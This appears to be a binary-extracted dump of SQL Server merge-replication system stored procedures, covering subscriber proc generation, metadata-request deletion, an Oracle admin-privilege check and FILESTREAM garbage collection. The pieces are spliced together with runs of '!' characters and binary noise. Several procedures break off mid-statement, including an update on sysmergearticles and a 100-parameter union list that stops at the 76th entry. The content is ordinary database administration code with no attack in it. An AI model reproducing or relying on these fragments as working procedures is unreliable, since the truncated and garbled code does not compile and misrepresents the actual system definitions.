    select @upd_batch_procname = 'MSmerge_upd_sp_' + @procsuffix + '_batch'
    select @del_procname = 'MSmerge_del_sp_' + @procsuffix
    select @sel_procname = 'MSmerge_sel_sp_' + @procsuffix 
    select @sel_metadata_procname = 'MSmerge_sel_sp_' + @procsuffix + '_metadata'
    select @conflict_proc = 'MSmerge_cft_sp_' + @procsuffix

    -- if the conflict proc exists script it. The conflict proc will not exist if the user 
    -- has chosen a creation script and the schema options are set to 0x00000.
    if object_id(@conflict_proc) is not NULL
        set @script_conflict_proc = 1
    else
        set @script_conflict_proc = 0

    -- add code in the script to drop all the procedures first
    select @command = '
-- drop all the procedures first
if object_id(''' + @ins_procname + ''',''P'') is not NULL
    drop procedure ' + @ins_procname + '
if object_id(''' + @ins_batch_procname + ''',''P'') is not NULL
    drop procedure ' + @ins_batch_procname + '
if object_id(''' + @upd_procname + ''',''P'') is not NULL
    drop procedure ' + @upd_procname + '
if object_id(''' + @upd_batch_procname + ''',''P'') is not NULL
    drop procedure ' + @upd_batch_procname + '
if object_id(''' + @del_procname + ''',''P'') is not NULL
    drop procedure ' + @del_procname + '
if object_id(''' + @sel_procname + ''',''P'') is not NULL
    drop procedure ' + @sel_procname + '
if object_id(''' + @sel_metadata_procname + ''',''P'') is not NULL
    drop procedure ' + @sel_metadata_procname + '
if object_id(''' + @conflict_proc + ''',''P'') is not NULL
    drop procedure ' + @conflict_proc + '
'
    select @command


    exec @retcode = sys.sp_MSmakeinsertproc @objectname, @ownername, @ins_procname, @pubid, @artid, @generate_downlevel_procs = 0, @generate_subscriber_proc = 1, @destination_owner = @destowner
    if @@ERROR<>0 OR @retcode <>0 goto FAILURE

    exec @retcode = sys.sp_MSmakeupdateproc @objectname, @ownername, @upd_procname, @pubid, @artid, @generate_downlevel_procs = 0, @generate_subscriber_proc = 1, @destination_owner = @destowner
    if @@ERROR<>0 OR @retcode <>0 goto FAILURE

    exec @retcode = sys.sp_MSmakedeleteproc @objectname, @ownername, @del_procname, @pubid, @artid, @generate_subscriber_proc = 1, @destination_owner = @destowner
    if @@ERROR<>0 OR @retcode <>0 goto FAILURE

    if @generate_batch_procs = 1
    begin
        exec @retcode = sys.sp_MSmakebatchinsertproc @objectname, @ownername, @ins_batch_procname, @pubid, @artid, @generate_subscriber_proc = 1, @destination_owner = @destowner
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE

        exec @retcode = sys.sp_MSmakebatchupdateproc @objectname, @ownername, @upd_batch_procname, @pubid, @artid, @generate_subscriber_proc = 1, @destination_owner = @destowner
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE

    end

    exec @retcode = sys.sp_MSmakeselectproc @objectname, @ownername, @sel_procname, @pubid, @artid, @generate_downlevel_procs = 0, @generate_subscriber_proc = 1, @destination_owner = @destowner
    if @@ERROR<>0 OR @retcode <>0 goto FAILURE

    if @recreateallprocs = 1
    begin
        exec @retcode = sys.sp_MSmakemetadataselectproc @objectname, @ownername, @sel_metadata_procname, @pubid, @artid, @generate_subscriber_proc = 1, @destination_owner = @destowner
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE

        if (@script_conflict_proc = 1 and @upload_options <> 1 and @upload_options <> 2)
        begin
            exec @retcode = sys.sp_MSmakeconflictinsertproc @conflict_table, 'dbo', @conflict_proc, @objid, @pubid, @generate_subscriber_proc = 1
            if @@ERROR<>0 OR @retcode <>0 goto FAILURE

        end
    end
    else
    begin
        exec @retcode = sys.sp_helptext @sel_metadata_procname
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE

        if (@script_conflict_proc = 1 and @upload_options <> 1 and @upload_options <> 2)
        begin
            -- the conflict insert proc should look identical on pub and sub. So instead of creating it just read using sp_helptext
            exec @retcode = sys.sp_helptext @conflict_proc
            if @@ERROR<>0 OR @retcode <>0 goto FAILURE

        end
    end

    select '
update dbo.sysmergearticles 
    set insert_p!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(F0v$

create procedure sys.sp_MSdeletemetadataactionrequest
(
    @pubid uniqueidentifier,
    @tablenick int,
    @rowguid1 uniqueidentifier,
    @rowguid2 uniqueidentifier = NULL,
    @rowguid3 uniqueidentifier = NULL,
    @rowguid4 uniqueidentifier = NULL,
    @rowguid5 uniqueidentifier = NULL,
    @rowguid6 uniqueidentifier = NULL,
    @rowguid7 uniqueidentifier = NULL,
    @rowguid8 uniqueidentifier = NULL,
    @rowguid9 uniqueidentifier = NULL,
    @rowguid10 uniqueidentifier = NULL,
    @rowguid11 uniqueidentifier = NULL,
    @rowguid12 uniqueidentifier = NULL,
    @rowguid13 uniqueidentifier = NULL,
    @rowguid14 uniqueidentifier = NULL,
    @rowguid15 uniqueidentifier = NULL,
    @rowguid16 uniqueidentifier = NULL,
    @rowguid17 uniqueidentifier = NULL,
    @rowguid18 uniqueidentifier = NULL,
    @rowguid19 uniqueidentifier = NULL,
    @rowguid20 uniqueidentifier = NULL,
    @rowguid21 uniqueidentifier = NULL,
    @rowguid22 uniqueidentifier = NULL,
    @rowguid23 uniqueidentifier = NULL,
    @rowguid24 uniqueidentifier = NULL,
    @rowguid25 uniqueidentifier = NULL,
    @rowguid26 uniqueidentifier = NULL,
    @rowguid27 uniqueidentifier = NULL,
    @rowguid28 uniqueidentifier = NULL,
    @rowguid29 uniqueidentifier = NULL,
    @rowguid30 uniqueidentifier = NULL,
    @rowguid31 uniqueidentifier = NULL,
    @rowguid32 uniqueidentifier = NULL,
    @rowguid33 uniqueidentifier = NULL,
    @rowguid34 uniqueidentifier = NULL,
    @rowguid35 uniqueidentifier = NULL,
    @rowguid36 uniqueidentifier = NULL,
    @rowguid37 uniqueidentifier = NULL,
    @rowguid38 uniqueidentifier = NULL,
    @rowguid39 uniqueidentifier = NULL,
    @rowguid40 uniqueidentifier = NULL,
    @rowguid41 uniqueidentifier = NULL,
    @rowguid42 uniqueidentifier = NULL,
    @rowguid43 uniqueidentifier = NULL,
    @rowguid44 uniqueidentifier = NULL,
    @rowguid45 uniqueidentifier = NULL,
    @rowguid46 uniqueidentifier = NULL,
    @rowguid47 uniqueidentifier = NULL,
    @rowguid48 uniqueidentifier = NULL,
    @rowguid49 uniqueidentifier = NULL,
    @rowguid50 uniqueidentifier = NULL,
    @rowguid51 uniqueidentifier = NULL,
    @rowguid52 uniqueidentifier = NULL,
    @rowguid53 uniqueidentifier = NULL,
    @rowguid54 uniqueidentifier = NULL,
    @rowguid55 uniqueidentifier = NULL,
    @rowguid56 uniqueidentifier = NULL,
    @rowguid57 uniqueidentifier = NULL,
    @rowguid58 uniqueidentifier = NULL,
    @rowguid59 uniqueidentifier = NULL,
    @rowguid60 uniqueidentifier = NULL,
    @rowguid61 uniqueidentifier = NULL,
    @rowguid62 uniqueidentifier = NULL,
    @rowguid63 uniqueidentifier = NULL,
    @rowguid64 uniqueidentifier = NULL,
    @rowguid65 uniqueidentifier = NULL,
    @rowguid66 uniqueidentifier = NULL,
    @rowguid67 uniqueidentifier = NULL,
    @rowguid68 uniqueidentifier = NULL,
    @rowguid69 uniqueidentifier = NULL,
    @rowguid70 uniqueidentifier = NULL,
    @rowguid71 uniqueidentifier = NULL,
    @rowguid72 uniqueidentifier = NULL,
    @rowguid73 uniqueidentifier = NULL,
    @rowguid74 uniqueidentifier = NULL,
    @rowguid75 uniqueidentifier = NULL,
    @rowguid76 uniqueidentifier = NULL,
    @rowguid77 uniqueidentifier = NULL,
    @rowguid78 uniqueidentifier = NULL,
    @rowguid79 uniqueidentifier = NULL,
    @rowguid80 uniqueidentifier = NULL,
    @rowguid81 uniqueidentifier = NULL,
    @rowguid82 uniqueidentifier = NULL,
    @rowguid83 uniqueidentifier = NULL,
    @rowguid84 uniqueidentifier = NULL,
    @rowguid85 uniqueidentifier = NULL,
    @rowguid86 uniqueidentifier = NULL,
    @rowguid87 uniqueidentifier = NULL,
    @rowguid88 uniqueidentifier = NULL,
    @rowguid89 uniqueidentifier = NULL,
    @rowguid90 uniqueidentifier = NULL,
    @rowguid91 uniqueidentifier = NULL,
    @rowguid92 uniqueidentifier = NULL,
    @rowguid93 uniqueidentifier = NULL,
    @rowguid94 uniqueidentifier = NULL,
    @rowguid95 uniqueidentifier = NULL,
    @rowguid96 uniqueidentifier = NULL,
    @rowguid97 uniqueidentifier = NULL,
    @rowguid98 uniqueidentifier = NULL,
    @rowguid99 uniqueidentifier = NULL,
    @rowguid100 uniqueidentifier = NULL
)
as
    if {fn ISPALUSER(@pubid)} <> 1
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    delete dbo.MSmerge_metadataaction_request with (rowlock)
    from
    (
        select @rowguid1 as rowguid union all
        select @rowguid2 as rowguid union all
        select @rowguid3 as rowguid union all
        select @rowguid4 as rowguid union all
        select @rowguid5 as rowguid union all
        select @rowguid6 as rowguid union all
        select @rowguid7 as rowguid union all
        select @rowguid8 as rowguid union all
        select @rowguid9 as rowguid union all
        select @rowguid10 as rowguid union all
        select @rowguid11 as rowguid union all
        select @rowguid12 as rowguid union all
        select @rowguid13 as rowguid union all
        select @rowguid14 as rowguid union all
        select @rowguid15 as rowguid union all
        select @rowguid16 as rowguid union all
        select @rowguid17 as rowguid union all
        select @rowguid18 as rowguid union all
        select @rowguid19 as rowguid union all
        select @rowguid20 as rowguid union all
        select @rowguid21 as rowguid union all
        select @rowguid22 as rowguid union all
        select @rowguid23 as rowguid union all
        select @rowguid24 as rowguid union all
        select @rowguid25 as rowguid union all
        select @rowguid26 as rowguid union all
        select @rowguid27 as rowguid union all
        select @rowguid28 as rowguid union all
        select @rowguid29 as rowguid union all
        select @rowguid30 as rowguid union all
        select @rowguid31 as rowguid union all
        select @rowguid32 as rowguid union all
        select @rowguid33 as rowguid union all
        select @rowguid34 as rowguid union all
        select @rowguid35 as rowguid union all
        select @rowguid36 as rowguid union all
        select @rowguid37 as rowguid union all
        select @rowguid38 as rowguid union all
        select @rowguid39 as rowguid union all
        select @rowguid40 as rowguid union all
        select @rowguid41 as rowguid union all
        select @rowguid42 as rowguid union all
        select @rowguid43 as rowguid union all
        select @rowguid44 as rowguid union all
        select @rowguid45 as rowguid union all
        select @rowguid46 as rowguid union all
        select @rowguid47 as rowguid union all
        select @rowguid48 as rowguid union all
        select @rowguid49 as rowguid union all
        select @rowguid50 as rowguid union all
        select @rowguid51 as rowguid union all
        select @rowguid52 as rowguid union all
        select @rowguid53 as rowguid union all
        select @rowguid54 as rowguid union all
        select @rowguid55 as rowguid union all
        select @rowguid56 as rowguid union all
        select @rowguid57 as rowguid union all
        select @rowguid58 as rowguid union all
        select @rowguid59 as rowguid union all
        select @rowguid60 as rowguid union all
        select @rowguid61 as rowguid union all
        select @rowguid62 as rowguid union all
        select @rowguid63 as rowguid union all
        select @rowguid64 as rowguid union all
        select @rowguid65 as rowguid union all
        select @rowguid66 as rowguid union all
        select @rowguid67 as rowguid union all
        select @rowguid68 as rowguid union all
        select @rowguid69 as rowguid union all
        select @rowguid70 as rowguid union all
        select @rowguid71 as rowguid union all
        select @rowguid72 as rowguid union all
        select @rowguid73 as rowguid union all
        select @rowguid74 as rowguid union all
        select @rowguid75 as rowguid union all
        select @rowguid76 as rowguid union all
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Gl	sv4Ccreate procedure sys.sp_MSmakeinsertproc 
    (@tablename sysname, @ownername sysname, @procname sysname, @pubid uniqueidentifier, @artid uniqueidentifier,
     @generate_downlevel_procs bit = 0, @generate_subscriber_proc bit = 0, @destination_owner sysname = NULL)
as
declare @argname                        sysname
declare @id                             int
declare @sync_objid                     int
declare @qualified_name                 nvarchar(270)
declare @qualified_name2                nvarchar(270)
declare @idstr                          nvarchar(100)
declare @iscomputed                     tinyint
declare @xtype                          int
declare @is_identitynotforreplication   bit
declare @permissions                    int
declare @permissions_str                nvarchar(10)
declare @partition_options              tinyint
declare @retcode                        int
declare @colname                        nvarchar(140)
declare @rgcolname                      nvarchar(140)
declare @typename                       nvarchar(258)
declare @base_typename                       nvarchar(140)
declare @schname                          nvarchar(140)  --track the data type owner name if it is CLR UDT
declare @isidentitycolumn               bit
declare @len                            smallint
declare @prec                           int
declare @scale                          int
declare @tablenick                      int
declare @tablenickstr                   nvarchar(12)
declare @cmdpiece                       nvarchar(4000)
declare @maintainsmetadata              bit
declare @colid smallint -- index in sys.columns, used to iterate through sys.columns
declare @colordinal smallint -- index in @setbm, used to interate actual data sent across
declare @colordstr nvarchar(4) -- @colordinal stringification
declare @valuename nvarchar(4000)
declare @atpublisher                    bit
declare @publication_number             smallint
declare @single_hop                     bit
declare @maxschemaguid                  uniqueidentifier
declare @max_colv_size_in_bytes         int
declare @schema_option                  varbinary(8)
set nocount on

-- Check for subscribing permission
exec @retcode=sys.sp_MSreplcheck_subscribe
if @retcode<>0 or @@ERROR<>0 return (0)

if @ownername is NULL or @ownername=''
    select @qualified_name = QUOTENAME(@tablename)
else    
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)
    
select @id = object_id(@qualified_name)
if @id is NULL return (1)

if exists (select * from dbo.sysmergearticles where objid = @id and column_tracking = 1)
begin
    declare @current_col_count int, @missing_col_count int
    select @current_col_count = count(*) 
            from sys.columns where object_id = @id
    select @missing_col_count = coalesce((select max(missing_col_count) 
            from dbo.sysmergearticles where objid = @id), 0)
    -- 12 bytes per column in table + 1 trailing byte for colv.
    select @max_colv_size_in_bytes = 12 * (@current_col_count + @missing_col_count) + 1
    if @max_colv_size_in_bytes > 2953
            select @max_colv_size_in_bytes = 2953
end
else
    select @max_colv_size_in_bytes = 1
                                
select @sync_objid = sync_objid, @permissions_str=convert(nvarchar(10),check_permissions), 
       @permissions=check_permissions, @schema_option = schema_option,
       @tablenick = nickname 
    from dbo.sysmergearticles where artid=@artid and pubid=@pubid
if @tablenick is NULL
    return (1)
    
set @tablenickstr = rtrim(convert(nchar, @tablenick))

select @maxschemaguid = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)
if @@ERROR <>0 OR @retcode <>0  
    return (1)

select @partition_options = partition_options
from dbo.sysmergepartitioninfo
where pubid = @pubid and artid = @artid

if @partition_options = 2
begin
    -- if this is a republisher of this article, and we are currently
    -- downloading from the top-level publisher, then pretend that this is 
    -- not a well-partitioned article. This is done such that the partition evaluation
    -- and setrowmetadata is done appropriately.
    if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
        and exists (select * from dbo.sysmergearticles 
                    where artid = @artid
                    and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        select @partition_options = 0
end

set @idstr = rtrim(convert(nchar, @id))


/* Get name of rowguidcol. Aliasing doesn't work through a view. */
select @rgcolname = QUOTENAME(name) from sys.columns where object_id = @id and is_rowguidcol = 1
if @rgcolname is null
    set @rgcolname = 'rowguid'

select @qualified_name2 = @qualified_name

if @generate_subscriber_proc = 1
begin
    select @atpublisher = 0
    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@tablename)
    if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and upload_options in (1,2))
        select @maintainsmetadata = 0
    else
        select @maintainsmetadata = 1
end
else
begin
    set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
    select @atpublisher = sys.fn_MSmerge_islocalpubid(@pubid)
end
    
select top 1 @publication_number = publication_number 
from dbo.sysmergepublications 
where pubid = @pubid


-- create temp table to select the command text out of
create table #tempcmd (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

create table #coltab (colname nvarchar(140), paramname nvarchar(10))

-- insert text pieces that don't repeat for each column

-- phase 0 : create procedure and fixed part of argument list

/* For Yukon version of this proc, add the @maxschemaguidforarticle as the first parameter */
if (0 = @generate_downlevel_procs AND @atpublisher = 1)
begin
    if 1 = @maintainsmetadata
    begin
        set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (@maxschemaguidforarticle uniqueidentifier = NULL, @rowguid uniqueidentifier, 
            @generation bigint, @lineage varbinary(311),  @colv varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + ') '
    end
    else
    begin
        set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (@maxschemaguidforarticle uniqueidentifier = NULL, @rowguid uniqueidentifier '
    end
end
else
begin
    if 1 = @maintainsmetadata
    begin
        set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (@rowguid uniqueidentifier, 
            @generation bigint, @lineage varbinary(311),  @colv varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + ') '
    end
    else
    begin
        set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (@rowguid uniqueidentifier '
    end
end

insert into #tempcmd (phase, cmdtext) values (0, @cmdpiece)

-- phase 1 is rest of argument list; goes in during loop over columns
-- phase 2 : paren to close argument list, and variable declarations
select @cmdpiece = ') as
    declare @errcode    int
    declare @retcode    int
    declare @rowcount   int
    declare @error      int
    declare @tablenick  int
    declare @started_transaction bit
    declare @publication_number smallint
    
    set nocount on

    select @started_transaction = 0
    select @publication_number = ' + convert(nvarchar(10), @publication_number)

    insert into #tempcmd (phase, cmdtext) values (2, @cmdpiece)

    -- phases 3,4 are not used
 
    -- phase 6
    set @cmdpiece = '
    set @errcode= 0
    select @tablenick= ' + @tablenickstr + '
    
    if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
    begin
        RAISERROR (14126, 11, -1)
        return 4
    end

'

if 1 = @maintainsmetadata
begin
    set @cmdpiece= @cmdpiece + '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<ZH-c0'@ 8
--
-- Name:
--		sp_CheckOracleAdminPrivileges
--
-- Description:
--		Validate admin privileges needed for publishing (Oracle specific)
--
-- Inputs:
--		@publisher		== publisher name
--		@login			== replication user login
--		@password		== replication user password
--		@provider		== Oracle OLEDB provider 
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal
--
-- Notes:
--		Called by sp_ORAcheckpublisher to validate login authorizations.
--		Note:  If the logic in sp_ORACheckAdminPrivileges changes, make those
--		       same changes to this stored procedure. 
--
CREATE PROCEDURE sys.sp_CheckOracleAdminPrivileges
(
	@publisher		sysname,
	@login			sysname,
	@password		sysname,
	@provider		sysname
)
AS
BEGIN

	SET NOCOUNT ON
	SET ANSI_WARNINGS ON

	DECLARE	@command		nvarchar(MAX)
	DECLARE	@retcode		int
	DECLARE @grantsCheck		int

	-- Define #grants support table
	create table #grants
	(
		gcheck	nchar(3),
		value	int
	)

	-- Populate a temp table with the permission checks
	SELECT @command = N'INSERT INTO #grants SELECT * FROM OPENROWSET( ' + QUOTENAME(@provider,'''') +
		N' ,' + QUOTENAME(@publisher,'''') + N'; ' + QUOTENAME(@login,'''') +
		N'; ' + QUOTENAME(@password,'''') + N', ' + 
		N'''SELECT ''''ALL'''', COUNT(*) ' +
		N'FROM SESSION_PRIVS SP ' +
		N'WHERE SP.PRIVILEGE IN ' +
		N'(''''CREATE PROCEDURE'''', ' +
		N' ''''CREATE PUBLIC SYNONYM'''', ' +
		N' ''''CREATE SEQUENCE'''', ' +
		N' ''''DROP PUBLIC SYNONYM'''', ' +
		N' ''''CREATE SESSION'''', ' +
		N' ''''CREATE TABLE'''', ' +
		N' ''''CREATE VIEW'''', ' +
		N' ''''CREATE ANY TRIGGER'''') ' +
		N'UNION ' +
		-- Check to make certain that some grants were made explicitly to admin user or PUBLIC
		N'SELECT ''''EXP'''', COUNT(*) ' +
		N'FROM USER_SYS_PRIVS RSP ' +
		N'WHERE RSP.PRIVILEGE IN ' +
		N'(''''CREATE TABLE'''', ' +
		N'''''CREATE VIEW'''', ' +
		N'''''CREATE ANY TRIGGER'''') ' +
		N'AND (RSP.USERNAME = USER OR RSP.USERNAME = ''''PUBLIC'''') ' +
		N'UNION ' +
		-- Check to for allocated quota in some tablespace	
		N'SELECT ''''QTA'''', COUNT(*) ' +
		N'FROM USER_TS_QUOTAS UQ ' +
		N'WHERE UQ.MAX_BYTES IS NOT NULL ' +
		N'AND NOT UQ.MAX_BYTES = 0 ' +
		N'UNION ' +
		-- Check for 'PUBLIC' has been explicitly granted 'UNLIMITED TABLESPACE'
		N'SELECT ''''UPT'''', COUNT(*) ' +
		N'FROM USER_SYS_PRIVS RSP ' +
		N'WHERE RSP.PRIVILEGE = ''''UNLIMITED TABLESPACE'''' ' +
		N'AND (RSP.USERNAME = USER OR RSP.USERNAME = ''''PUBLIC'''')'')' 

	EXEC (@command)
	IF  @@error <> 0
	BEGIN
		RAISERROR (21683, 16, -1, @publisher)
		RETURN (1)
	END

	-- Verify grant checks
	-- 1.  All required privileges (8)
	-- 2.  Explicit privileges (3)
	-- 3.  Quota space or unlimited tablespace
	SELECT	@grantsCheck =	CASE
					WHEN	(G1.value = 8) AND
						(G2.value = 3) AND
						(
							(G3.value > 0) OR
							(G4.value = 1)
						) THEN 1
					ELSE	0
				END
	FROM	#grants G1,
		#grants G2,
		#grants G3,
		#grants G4
	WHERE	G1.gcheck = 'ALL'
	  AND	G2.gcheck = 'EXP'
	  AND	G3.gcheck = 'QTA'
	  AND	G4.gcheck = 'UPT'

	IF @grantsCheck <> 1
	BEGIN
		RAISERROR (21684, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN (0)
END
0E%@ 
8-- This proc is called by the .prc file to mark merge replication objects as system objects.
create procedure sys.sp_MSpostapplyscript_forsubscriberprocs    (
    @procsuffix sysname)
    
as
begin
    declare @retcode        smallint
    declare @procname       nvarchar(400)
    declare @ownername      nvarchar(140)
    declare @destowner      nvarchar(140)
    declare @ins_procname   nvarchar(258)
    declare @ins_batch_procname nvarchar(258)
    declare @upd_procname   nvarchar(258)
    declare @upd_batch_procname nvarchar(258)
    declare @sel_procname nvarchar(258)
    declare @sel_metadata_procname nvarchar(258)
    declare @del_procname nvarchar(258)
    declare @conflict_proc nvarchar(258)

    set nocount on
    /*
    ** Check to see if current publication has permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    select @ins_procname = quotename('MSmerge_ins_sp_' + @procsuffix)
    select @ins_batch_procname = quotename('MSmerge_ins_sp_' + @procsuffix + '_batch')
    select @upd_procname = quotename('MSmerge_upd_sp_' + @procsuffix)
    select @upd_batch_procname = quotename('MSmerge_upd_sp_' + @procsuffix + '_batch')
    select @del_procname = quotename('MSmerge_del_sp_' + @procsuffix)
    select @sel_procname = quotename('MSmerge_sel_sp_' + @procsuffix)
    select @sel_metadata_procname = quotename('MSmerge_sel_sp_' + @procsuffix + '_metadata')
    select @conflict_proc = quotename('MSmerge_cft_sp_' + @procsuffix)

	select @procname = @ins_procname
	if object_id(@ins_procname ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end
	    
    select @procname = @ins_batch_procname
	if object_id(@ins_batch_procname ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end

    select @procname = @upd_procname
	if object_id(@upd_procname ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end

    select @procname = @upd_batch_procname
	if object_id(@upd_batch_procname ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end

    select @procname = @del_procname
	if object_id(@del_procname ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end

    select @procname = @sel_procname
	if object_id(@sel_procname ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end

    select @procname = @sel_metadata_procname
	if object_id(@sel_metadata_procname ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end

    select @procname = @conflict_proc
	if object_id(@conflict_proc ,'P') is not NULL
	begin
	    exec sys.sp_MS_marksystemobject @procname	    
	    exec ('grant exec on ' + @procname + ' to public')
    end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L
`c
<
!I\$cQ0' D8Ah 0n
 D8oh90@ 8
create procedure sys.sp_filestream_force_garbage_collection
(
	@dbname sysname = NULL,		-- name of the database where to collect
	@filename sysname = NULL	-- FILESTREAM file container name
)
as
begin
	set nocount    on

	set @dbname = ISNULL (@dbname, DB_NAME ())

	declare @returncode	int

	EXEC @returncode = sys.sp_filestream_force_garbage_collection_internal @dbname, @filename

	return @returncode
end
0
 B8
create procedure sys.sp_showcolv
    @colv varbinary(2953)
as
    set nocount on

    declare @result table (colidx smallint, replnick binary(6), version int)

    declare @i smallint
    set @i= 0
    while (@i < DATALENGTH(@colv)/12)
    begin
        declare @colidx smallint
        set @colidx= cast(substring(@colv, @i*12+2,1) as smallint)
        set @colidx= @colidx*256 + cast(substring(@colv, @i*12+1,1) as smallint)

        declare @replnick binary(6)
        set @replnick= (select substring(@colv, @i*12+3, 6))

        declare @version int
        set @version= cast(substring(@colv, @i*12+12,1) as int)
        set @version= @version*256 + cast(substring(@colv, @i*12+11,1) as int)
        set @version= @version*256 + cast(substring(@colv, @i*12+10,1) as int)
        set @version= @version*256 + cast(substring(@colv, @i*12+9,1) as int)
        
        insert into @result(colidx, replnick, version) select @colidx+1, @replnick, @version
        set @i= @i+1
    end
    select * from @result order by colidx
0u -8-- in yukon this proc should never be called with the identity range
-- parameters being set.
create procedure sys.sp_MSupdatesysmergearticles(
    @object                 sysname,                /* Name of the table */
    @artid                  uniqueidentifier,       /* Article ID */
    @owner                  sysname             = NULL,
    @pubid                  uniqueidentifier    = NULL,
    @recreate_repl_view     bit = 1
) AS
    declare @merge_pub_object_bit   int
    declare @id                     int
    declare @qualified_name         nvarchar(270)
    declare @colid                  int
    declare @colname                sysname
    declare @dynamic_filters        bit
    declare @mergepublish           int
    declare @retcode int
    declare @objid int
    
    SET NOCOUNT ON
    
    /*
    ** Check for subscribing permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)

    set @dynamic_filters=0
    if @owner is NULL or @owner = ''
    begin
        if object_id(@object) is not NULL
            select @owner = SCHEMA_NAME(schema_id) from sys.objects where object_id = object_id(QUOTENAME(@object))
        else 
        begin
            raiserror(21078, 16, -1, @object)
            return (1)
        end
    end

    select @mergepublish = 0x4000
    
    select @qualified_name = QUOTENAME(@owner) + '.' + QUOTENAME(@object)
    select @objid = object_id(@qualified_name)
        
    select @merge_pub_object_bit    = 128

    if (@artid is NULL)
    BEGIN
        RAISERROR (14057, 16, -1)
        RETURN (1)
    END
    begin tran
    save tran sp_MSupdatesysmergearticles
    
    if exists (select name from sys.objects where object_id = @objid)
    begin

        exec %%Object(MultiName=@qualified_name).LockMatchID(ID=@objid, Exclusive = 1, BindInternal = 0)
        --exec %%Object(MultiName=@qualified_name).LockExclusiveMatchID(ID=@objid)
        if @@error<>0 goto UNDO
        exec %%Relation(ID=@objid).SetMergePublished(Value=1,SetColumns=1)
        if @@ERROR<>0 goto UNDO

        /*
        ** update dbo.sysmergearticles.objid for all articles sharing the same base table
        */
        update dbo.sysmergearticles set objid = @objid where artid = @artid
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14057, 16, -1)
            goto UNDO
        END

        /*
        ** update dbo.sysmergearticles.sysnc_objid for only the article in this publication
        ** and for articles that no longer has a valid sync_objid (usually for the
        ** non-filtered case)
        */
        update dbo.sysmergearticles set sync_objid=@objid 
         where artid = @artid 
           and (pubid = @pubid or 
                (object_name(sync_objid) is null and isnull(view_type,0) = 0))
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14057, 16, -1)
            goto UNDO
        END

        if @recreate_repl_view = 1
        begin
            exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
            if @retcode <> 0 or @@error <> 0
                goto UNDO
        end
    end
    else -- THIS IS FINE. This dynamic query is there to provide a good error message. No need to use SP.
        raiserror(21078, 16, -1, @object)
        
    exec sys.sp_replupdateschema @qualified_name
    if @@error<>0 goto UNDO

    commit tran
    RETURN 0
UNDO:
    rollback tran sp_MSupdatesysmergearticles
    commit tran
    RETURN 1
